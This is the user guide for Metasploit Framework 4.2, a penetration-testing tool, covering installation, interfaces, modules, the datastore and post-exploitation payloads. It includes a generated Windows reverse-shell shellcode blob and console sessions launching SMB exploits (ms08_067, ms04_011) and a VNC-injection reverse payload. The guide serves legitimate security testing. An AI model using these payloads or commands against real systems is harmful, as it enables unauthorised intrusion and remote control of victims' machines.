Metasploit Framework User's Guide

Version 4.2

http://metasploit.com

Contents

Chapter 1

Introduction

This is the official user guide for version 4.2 of the Metasploit Framework. This guide is designed to provide an overview of what the framework is, how it works, and what you can do with it. The latest version of this document can be found on the Metasploit Project website.[1]

1.1 What is Metasploit?

When we use the word *Metasploit*, we are actually referring to a lot of things. Metasploit isn't just a single program, it's an entire suite of tools that are essential to penetration testing and exploit development. That's why it's called a *framework*.

The Metasploit Framework is the result of a joint effort between the open source community and Rapid7. At its core, the Metasploit Framework is a collection of commonly used tools that aid in the rapid development and execution of exploits. It's an all-in-one platform for penetration testing that lets you do everything from enumerating entire networks and launching an exploit to evading detection and escalating privileges.

Metasploit was designed with the goal of being very flexible and manageable. Its modular design and large variety of tools has allowed it to become one of most highly respected pieces of software in the world of penetration testing. Since 2003, thousands of people have enjoyed using the Metasploit Framework; we know you will too!

[1] http://dev.metasploit.com/documents/users_guide.pdf

Chapter 2

Installation

2.1 Installation on UNIX

Installing the Metasploit Framework is as easy as extracting the tarball, changing into the created directory, and executing your preferred user interface. We strongly recommend that you use a version of the Ruby interpreter that was built with support for the GNU Readline library. If you are using the Metasploit on Mac OS X prior to 10.5.1, you will need to install GNU Readline[1] and then recompile the Ruby interpreter. Using a version of Ruby with Readline support enables tab completion in the console interface. The `msfconsole` user interface is preferred for everyday use, but `msfgui` can be useful for those who prefer a graphical interface.

To perform a system-wide installation, we recommend that you copy the entire Metasploit root directory into a globally accessible location (e.g. `/usr/local/msf`) and then create symbolic links from the `msf*` applications to a directory in the system path (e.g. `/usr/local/bin`). User-specific modules can be placed in `$HOME/.msf4/modules`. The structure of this directory should mirror that of the global modules directory found in the framework distribution.

2.2 Installation on Windows

The Metasploit Framework is fully supported on the Windows platform. To install Metasploit on Windows, download the latest version of the Windows installer from http://metasploit.com/download, perform an online update,

[1] GNU Readline homepage: http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html

and launch the `msfgui` interface from the Start Menu. To access a standard `msfconsole` interface, select the Console option from the Window menu.

2.3 Platform Caveats

When using the Metasploit on the Windows platform, keep in mind that `msfgui` is the only supported user interface. While `msfcli` may appear to work on the command line, it will will run into trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules, and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a Linux-based virtual machine (such as BackTrack 3 in VMWare).

2.4 Minimum System Requirements

As a general guideline, your system should meet the minimum system requirements described below:

- 2 GHz processor
- 2 GB available RAM (4 GB is recommended)
- 500MB available disk space
- 10/100 Mb/s NIC

2.5 Supported Operating Systems

The Metasploit Framework should run on almost any UNIX-based operating system that includes a complete and modern version of the Ruby interpreter (1.8.6+). Every stable version of Metasploit is tested with three primary platforms:

- Linux kernel 2.6 (x86, x86_64, PPC)
- Windows NT (XP, 2003 Server, Vista, 2008 Server, Windows 7)

- Mac OS X 10.5 (x86, x86_64, PPC)[2]

For small to medium-scale penetration tests, both Linux-based and Windows platforms perform about the same. If you are conducting a large-scale penetration test (10,000+ hosts), we recommend using the Metasploit Framework on a Linux-based operating system as it is more scalable and copes better with expanding use.[3]

For information about manually installing Metasploit, including all of the required dependencies needed to use the new `msfgui` interface, please see the Metasploit support site at http://metasploit.com/get-support.

2.6 Updating the Metasploit Framework

The Metasploit Framework can be updated using a Subversion client. The old `msfupdate` tool is no longer supported. Windows users can click on the *Online Update* link within the *Metasploit 4* program folder in the Start Menu. To obtain the latest updates on a UNIX-like platform, move to the Metasploit root directory and execute `svn update`. If you are accessing the Internet through an HTTP proxy server, please see the Subversion FAQ for proxy access at http://subversion.apache.org/faq.html#proxy.

[2]Some users have experienced occasional problems while trying to install Metasploit on Mac OS X. While it is a supported platform, most of the problems are related to PostgreSQL and the pg gem. If you have trouble during the installation, take a look at http://dl.dropbox.com/u/1440188/msf%20in%20osx%20with%20armitage.pdf

[3]See Christian Kirsch's post on the subject: https://community.rapid7.com/message/1988

Chapter 3

Getting Started

3.1 The Console Interface

After you have installed Metasploit, you should verify that everything is working properly. The easiest way to do this is to execute the `msfconsole` user interface. If you are using Windows, start the `msfgui` interface and access the `Console` link from the Window menu. The console should display an ASCII art logo, print the current version, some module counts, and drop to a `msf>` prompt. From this prompt, type `help` to get a list of valid commands. You are currently in the "main" mode; this allows you to list exploits, list payloads, and configure global options. To list all available exploits, type `show exploits`. To obtain more information about a given exploit, type `info module_name`.

The console interface was designed to be flexible and fast. If you enter a command that is not recognized by the console, it will scan the system path to determine if it is a system command. If it finds a match, that command will be executed with the supplied arguments. This allows you to use your standard set of tools without having to leave the console. The console interface also supports tab completion of known commands if Ruby was built with the GNU Readline library. For more information on tab completion, please refer to appendix B.1.

The console startup will similar to the text below.

```
 _                                                    _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/     \__|     |_\  \___\

       =[ msf v4.2.0-release
+ -- --=[ 786 exploits - 424 auxiliary - 127 post
+ -- --=[ 238 payloads - 27 encoders - 8 ops

msf >
```

3.2 The GUI Interface

The `msfgui` interface provides the same functionality of `msfconsole` with all the extras benefits of a graphical user interface.

To search for a module within the module tree, enter a string or regular expression into the search box and click the button labeled *Find*. All matching modules will appear in the tree below. To execute a module, double-click its name in the tree or right-click its name and select the *Execute* option. To view the source code for a particular module, right-click its name and select the *View Code* option.

Once a module is selected, a wizard-based interface will walk you through the process of configuring and launching the module. In the case of exploit modules, the output from the module will appear in the main window under the *Module Output* tab. Any sessions created by the module will appear in the *Sessions* view in the main window. To access a session, double-click the session name in the view or open a *Console* and use the `sessions` command to interact with the shell. Meterpreter sessions will spawn a shell when double-clicked and also offer a process and file browser via the right-click context menu.

To run an instance of `msfconsole` from within the GUI, select the *Console* option from the *Window* menu.

3.3 The Command Line Interface

If you are looking for a way to automate exploit testing, or simply do not want to use an interactive interface, then `msfcli` may be the solution. [1] This

[1] The `msfcli` interface does not work properly with the native Windows version of Ruby.

interface takes a module name as the first parameter, followed by the options in a VAR=VAL format, and finally an action code to specify what should be done. The module name is used to determine which exploit or auxiliary module you want to launch.

The action code is a single letter; S for summary, O for options, A for advanced options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary actions, C to try a vulnerability check, and E to exploit. The saved datastore will be loaded and used at startup, allowing you to configure convenient default options in the global or module-specific datastore of `msfconsole`, save them, and take advantage of them in the `msfcli` interface. The `msfcli` interface will also work with auxiliary modules.

Chapter 4

Using the Metasploit Framework

4.1 Choosing a Module

From the `msfconsole` interface, you can view the list of modules that are available for you to interact with. You can see all available modules through the `show all` command. To see the list of modules of a particular type you can use the `show moduletype` command, where *moduletype* is any one of exploits, encoders, payloads, and so on. You can select a module with the `use` command by specifying the module's name as the argument. The `info` command can be used to view information about a module without using it.

4.2 Exploit Modules

Exploit modules are the de facto module in Metasploit which are used to encapsulate an exploit.

4.2.1 Configuring the Active Exploit

Once you have selected an exploit with the `use` command, the next step is to determine what options it requires. This can be accomplished with the `show options` command. Most exploits use `RHOST` to specify the target address and `RPORT` to set the target port. Use the `set` command to configure the appropriate values for all required options. If you have any questions about what a given

option does, refer to the module source code. Advanced options are available with some exploit modules, these can be viewed with the `show advanced` command. Options useful for IDS and IPS evasion can be viewed with the `show evasion` command.

4.2.2 Verifying the Exploit Options

The `check` command can be used to determine whether the target system is vulnerable to the active exploit module. This is a quick way to verify that all options have been correctly set and that the target is actually vulnerable to exploitation. Not all exploit modules have implemented the check functionality. In many cases it is nearly impossible to determine whether a service is vulnerable without actually exploiting it. A `check` command should never result in the target system crashing or becoming unavailable. Many modules display version information and expect you to analyze it before proceeding.

4.2.3 Selecting a Target

Many exploits will require the `TARGET` environment variable to be set to the index number of the desired target. The `show targets` command will list all targets provided by the exploit module. Many exploits will default to a brute-force target type; this may not be desirable in all situations.

4.2.4 Selecting the Payload

The payload is the actual code that will run on the target system after a successful exploit attempt. Use the `show payloads` command to list all payloads compatible with the current exploit. If you are behind a firewall, you may want to use a bind shell payload, if your target is behind one and you are not, you would use a reverse connect payload. You can use the `info payload_name` command to view detailed information about a given payload.

Once you have decided on a payload, use the `set` command to specify the payload module name as the value for the `PAYLOAD` environment variable. Once the payload has been set, use the `show options` command to display all available payload options. Most payloads have at least one required option. Advanced options are provided by a handful of payload options; use the `show advanced` command to view these. Please keep in mind that you will be allowed to select any payload compatible with that exploit, even if it not compatible with your currently selected `TARGET`. For example, if you select a Linux target, yet choose a BSD payload, you should not expect the exploit to work.

4.2.5 Launching the Exploit

The `exploit` command will launch the attack. If everything went well, your payload will execute and potentially provide you with an interactive command shell on the exploited system.

4.3 Auxiliary Modules

Auxiliary modules are used to perform arbitrary, "one-off" actions that are not necessarily related to exploitation. For example, port scanning, denial of service, fuzzing, etc.

4.3.1 Running an Auxiliary Task

Auxiliary modules are quite a bit similar to exploit modules. Instead of having targets, they have actions, which are specified through the `ACTION` option. To run an auxiliary module, you can either use the `run` command, or you can use the `exploit` command – they're both the same thing.

```
msf > use dos/windows/smb/ms06_035_mailslot
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(ms06_035_mailslot) > run
[*] Mangling the kernel, two bytes at a time...
```

4.4 Payload Modules

Payload modules encapsulate the arbitrary code (shellcode) that is executed as the result of an exploit succeeding. Payloads typically build a communication channel between Metasploit and the victim host.

4.4.1 Generating a Payload

The console interface supports generating different forms of a payload. To generate payloads, first select a payload using the `use` command.

```
msf > use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) > generate -h
```

```
Usage: generate [options]

Generates a payload.

OPTIONS:

    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -h        Help banner.
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -s <opt>  NOP sled length.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf payload(shell_reverse_tcp) >
```

Using the options supported by the `generate` command, different formats of a payload can be generated. Some payloads will require options which can be specified through the `-o` parameter. Additionally, a format to convey the generated payload can be specified through the `-t` parameter. To save the resulting data to a local file, pass the `-f` parameter followed by the output file name.

```
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
LHOST => 1.2.3.4
msf payload(shell_reverse_tcp) > generate -t ruby
# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
```

```
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
"\x04\x5f\x53\xff\xd6\xff\xd0"
msf payload(shell_reverse_tcp) >
```

4.5 Nop Modules

NOP modules are used to generate no-operation instructions that can be used for padding out buffers.

4.5.1 Generating a NOP Sled

The NOP module console interface supports generating a NOP sled of an arbitrary size and displaying it in a given format through the `generate` command.

```
msf > use x86/opty2
msf nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.

OPTIONS:

    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf nop(opty2) >
```

To generate a 50 byte NOP sled that is displayed as a C-style buffer, the following command can be run:

```
msf nop(opty2) > generate -t c 50
unsigned char buf[] =
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
"\x92\xb5\xd4\x4f\x91";
msf nop(opty2) >
```

Chapter 5

The Datastore

The datastore is a dynamic table of named values (much like a hash) that lets the user alter the behavior of certain components of the Metasploit Framework. The various components use it to configure settings, patch opcodes, define parameters, pass options between modules, etc. There are two different types of datastores: the *global* and *module* datastores. The only difference being the scope in which their settings can be seen.

When Metasploit looks for a variable (e.g. `RHOST` or `THREADS`) it searches for it in the current module's datastore first. If it can't be found, the global datastore is then searched last.

5.1 Global Datastore

The contents of the global datastore are applied to all modules. For instance, if the `RHOSTS` variable is set in the global datastore, the same value will be used no matter what module is currently being used.

The global datastore is accessed through `msfconsole` using the `setg` and `unsetg` commands. Calling `setg` with one argument shows the current value of that option (if it exists). If no arguments are given, then the entire contents of the global datastore will be displayed.

```
msf > setg

Global
======
```

```
No entries in data store.
```

As you can, the global datastore is initially empty by default. We'll explain in a little bit how to save these settings to disk so that they're loaded when `msfconsole` starts.

5.2 Module Datastore

The contents of the module datastore are only applicable to the currently loaded module. Switching to another module via the `use` command will result in the datastore for the current module being swapped out with the datastore of the new module.

The module datastore is accessed through the `set` and `unset` commands. Calling `set` with one argument shows the current value of that option (if it exists). If no arguments are given, then the entire contents of the module datastore will be displayed. If no module is currently active, the `set` and `unset` commands will operate in the context of the global datastore.

Consider the following example, using the `windows/smb/ms08_067_netapi` module.

```
msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf  exploit(ms08_067_netapi) > set RHOST 192.168.1.156
RHOST => 192.168.1.156
msf  exploit(ms08_067_netapi) >
```

At this point, if you decided to use another module instead - say `windows/smb/smb_relay` - the `RHOST` variable would no longer retain its value since it was stored in the datastore for `windows/smb/ms08_067_netapi`.

As noted earlier, Metasploit queries the module datastore first when searching for an option or variable. If none is found, then the global datastore is searched. This means that if a variable like `RHOST` is set in both the module and global datastores, the value of `RHOST` in the module datastore will take precedence. This behavior allows you to effectively mask or alias variables and options set in the global datastore.

5.3 Saving the Datastore

Sometimes it can become quite tedious to constantly set a variable that you use reguarly. This is where the `save` command comes in. The `save` command can be used to serialize the global and all module datastores to disk. The saved environment is written to `$HOME/.msf4/config` and will be loaded when any of the user interfaces are executed.

5.4 Datastore Efficiency

This split datastore system allows you save time during exploit development and penetration testing. Common options between exploits can be defined in the global datastore once and automatically used in any exploit you load thereafter.

The example below shows how setting the `LPORT`, `LHOST`, and `PAYLOAD` variables in the global datastore can save you time when exploiting a set of Windows-based targets. If this datastore was set and a Linux exploit was being used, the module datastore could be used (via `set` and `unset`) to override these defaults.

```
f > setg LHOST 192.168.0.10
LHOST => 192.168.0.10
msf > setg LPORT 4445
LPORT => 4445
msf > setg PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > show options

Module options:

...

Payload options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.0.10     yes       The local address
   LPORT     4445             yes       The local port
```

...

5.5 Datastore Variables

The datastore can be used to configure many aspects of the Metasploit Framework, ranging from user interface settings to specific timeout options in the network socket API. This section describes the most commonly used environment variables.

5.5.1 LogLevel

The `LogLevel` variable is used to control the verbosity of log messages provided by the various components of the framework. If this variable is not set, logging will be disabled. Setting this variable to `0` will turn on default log messages. A value of `1` will enable additional, non-verbose log messages that may be helpful while troubleshooting. A value of `2` will enable verbose debug logging. A value of `3` will enable all logging and may generate a large amount of log messages. Use this only when much additional information is required. Log files are stored in the `$HOME/.msf4/logs` directory.

5.5.2 MsfModulePaths

The `MsfModulePaths` variable can be used to add additional directories from which to load modules. By default, Metasploit will load modules from the `modules` directory in the Metasploit root directory. It will also load modules from `$HOME/.msf4/modules` if such a path exists.

Chapter 6

Advanced Features

This section covers some of the advanced features that can be found in this release. These features can be used in any compatible exploit and highlight the strength of developing attack code using an exploit framework.

6.1 The Meterpreter

The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed. Please refer to the Meterpreter documentation for an in-depth description of how it works and what you can do with it. The Meterpreter manual is available online at http://dev.metasploit.com/documents/meterpreter.pdf.

6.2 PassiveX Payloads

The Metasploit Framework can be used to load arbitrary ActiveX controls into a target process. This feature works by patching the registry of the target system and causing the exploited process to launch Internet Explorer with a URL pointing back to attacker's machine. Metasploit starts up a simple web server that accepts the request and sends back a web page instructing it to load an ActiveX component. The exploited system then downloads, registers, and executes the ActiveX control.

The basic PassiveX payload, `windows/xxx/reverse_http`, supports any custom ActiveX that you develop. In addition to the base payload, three other Pas-

siveX modules are included in the framework. These can be used to execute a command shell, load the Meterpreter, or inject a VNC service. When any of these three payloads are used, the PassiveX object will emulate a TCP connection through HTTP GET and POST requests. This allows you to interact with a command shell, VNC, or the Meterpreter using nothing but standard HTTP traffic.

Since PassiveX uses the Internet Explorer browser to load the ActiveX component, it will pass right through an outbound web proxy, using whatever system and authentication settings that have already been configured. The PassiveX payloads will only work when the target system has Internet Explorer 6.0 installed (not 5.5 or 7.0). For more information about PassiveX, please see the Uninformed Journal article titled "Post-Exploitation on Windows using ActiveX Controls", located online at http://www.uninformed.org/?v=1&a=3&t=pdf.

6.3 Chainable Proxies

Metasploit includes transparent support for TCP proxies, this release has handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a given exploit, the `Proxies` environment variable needs to be set. The value of this variable is a comma-separated list of proxy servers, where each server is in the format type:host:port. The type values are 'http' for HTTP CONNECT and 'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that the system was stable with over five hundred SOCKS and HTTP proxies configured randomly in a chain. The proxy chain only masks the exploit request, the automatic connection to the payload is not relayed through the proxy chain at this time.

6.4 Win32 UploadExec Payloads

Although UNIX systems normally include all of the tools you need for post-exploitation, Windows systems are notoriously lacking in a decent command line toolkit. The windows/upexec/* payloads included in this release allow you to simultaneously exploit a Windows system, upload your favorite tool, and execute it, all across the payload socket connection. When combined with a self-extracting rootkit or scripting language interpreter (perl.exe!), this can be a very powerful feature. The Meterpreter payloads are usually much better suited for penetration testing tasks.

6.5 Win32 DLL Injection Payloads

Metasploit includes a staged payload that is capable of injecting a custom DLL into memory in combination with any Win32 exploit. This payload will not result in any files being written to disk; the DLL is loaded directly into memory and is started as a new thread in the exploited process. This payload was developed by Jarkko Turkulainen and Matt Miller and is one of the most powerful post-exploitation techniques developed to date. To create a DLL which can be used with this payload, use the development environment of choice and build a standard Win32 DLL. This DLL should export an function called Init which takes a single argument, an integer value which contains the socket descriptor of the payload connection. The Init function becomes the entry point for the new thread in the exploited process. When processing is complete, it should return and allow the loader stub to exit the process according to the `EXITFUNC` environment variable. If you would like to write your own DLL payloads, refer to the `external/source/dllinject` directory in the Metasploit root directory. In addition to normal DLL injection, Metasploit also supports Reflective DLL Injection payloads as well. For more information about Reflective DLL Injection, please see the Harmony Security paper, located at http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf.

6.6 VNC Server DLL Injection

One of the first DLL injection payloads developed was a customized VNC server. This server was written by Matt Miller and based on the RealVNC source code. Additional modifications were made to allow the server to work with exploited, non-interactive network services. This payload allows you to immediately access the desktop of an exploited system using almost any Win32 exploit. The DLL is loaded into the remote process using any of the staged loader systems, started up as a new thread in the exploited process, and the listens for VNC client requests on the same socket used to load the DLL. Metasploit listens on a local socket for a VNC client and proxies data across the payload connection to the server.

The VNC server will attempt to obtain full access to the current interactive desktop. If the first attempt fails, it will call `RevertToSelf()` and then try the attempt again. If it still fails to obtain full access to this desktop, it will fall back to a read-only mode. In read-only mode, the user can view the contents of the desktop, but not interact with it. If full access was obtained, the VNC server will spawn a command shell on the desktop with the privileges of the exploited service. This is useful in situations where an unprivileged user is on the interactive desktop, but the exploited service is running with System privileges.

If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch explorer.exe anyways. This can result in some very confused users when the logon screen also has a Start Menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client. Future versions may attempt to follow a desktop switch.

To use the VNC injection payloads, specify the full path to the VNC server as the value of the `DLL` option. The VNC server can be found in the `data` subdirectory of the Metasploit root directory and is named `vncdll.dll`. The source code of the DLL can be found in `external/source/vncdll`.

There are a few situations where the VNC inject payload will simply not work. These problems are often cause by strange execution environments or other issues related to a specific exploit or injection method. These issues will be addressed as time permits:

- The windows/brightstor/universal_agent exploit will cause the VNC payload to crash, possibly due to a strange heap state.

```
msf > use windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
RHOST => some.vuln.host
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
LHOST => your.own.ip
msf exploit(ms04_011_lsass) > set LPORT 4321
LPORT => 4321
msf exploit(ms04_011_lsass) > exploit
```

If the `vncviewer` application is in your path and the AUTOVNC option has been set (it is by default), Metasploit will automatically open the VNC desktop. If you would like to connect to the desktop manually, `set AUTOVNC 0`, then use `vncviewer` to connect to 127.0.0.1 on port 5900.

Chapter 7

More Information

7.1 Web Site

The metasploit.com website is the first place to check for updated modules and new releases. This website also hosts the Opcode Database and a decent shellcode archive.

7.2 Mailing List

Metasploit hosts the `framework` mailing list for general discussion and help. To subscribe to the mailing list, visit http://mail.metasploit.com/mailman/listinfo/framework. Additionally, the `framework` archives can be viewed at http://mail.metasploit.com/pipermail/framework.

7.3 Developers

If you are interested in helping out with the Metasploit Project, or have any questions related to module development, please contact the development team.
The Metasploit Framework development team can be reached at msfdev[at]metasploit.com.

Appendix A

Security

We recommend that you use a robust, secure terminal emulator when utilizing the command-line interfaces. Examples include `konsole`, `gnome-terminal`, and recent versions of `PuTTY`.

A.1 Console Interfaces

The console does not perform terminal escape sequence filtering, this could allow a hostile network service to do Bad Things (TM) to your terminal emulator when the exploit or check commands are used. We suggest that you use a terminal emulator which limits the functionality available through hostile escape sequences. For more information on this topic, please see the Terminal Emulator Security Issues paper at http://marc.info/?l=bugtraq&m=104612710031920&q=p3.

Appendix B

General Tips

B.1 Tab Completion

On the UNIX and Cygwin platforms, tab completion depends on the existence of the GNU Readline library when Ruby was compiled. Some operating systems, such as Mac OS X, have included a version of Ruby without this support. To solve this problem, grab the latest version of the GNU Readline library, configure, build, and install it. Then grab the latest version of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the `msfconsole` interface with full tab completion of known commands.

B.2 Secure Socket Layer

Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Sockets Layer. This is a feature of the Socket class included with the Rex library. To indicate that all connections should use SSL, set the `SSL` environment variable to `true` from within the console interface. Keep in mind, that in most cases the default `RPORT` variable will need to be changed as well. For example, when exploiting a web application vulnerability through SSL, the `RPORT` variable should be set to `443`.

Appendix C

Licenses

The Metasploit Framework is distributed under the terms of a modified-BSD license defined below.

```
Copyright (c) 2008, Rapid7 LLC
All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
  this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

    * Neither the name of Rapid7 LLC nor the names of its contributors
  may be used to endorse or promote products derived from this software
  without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
```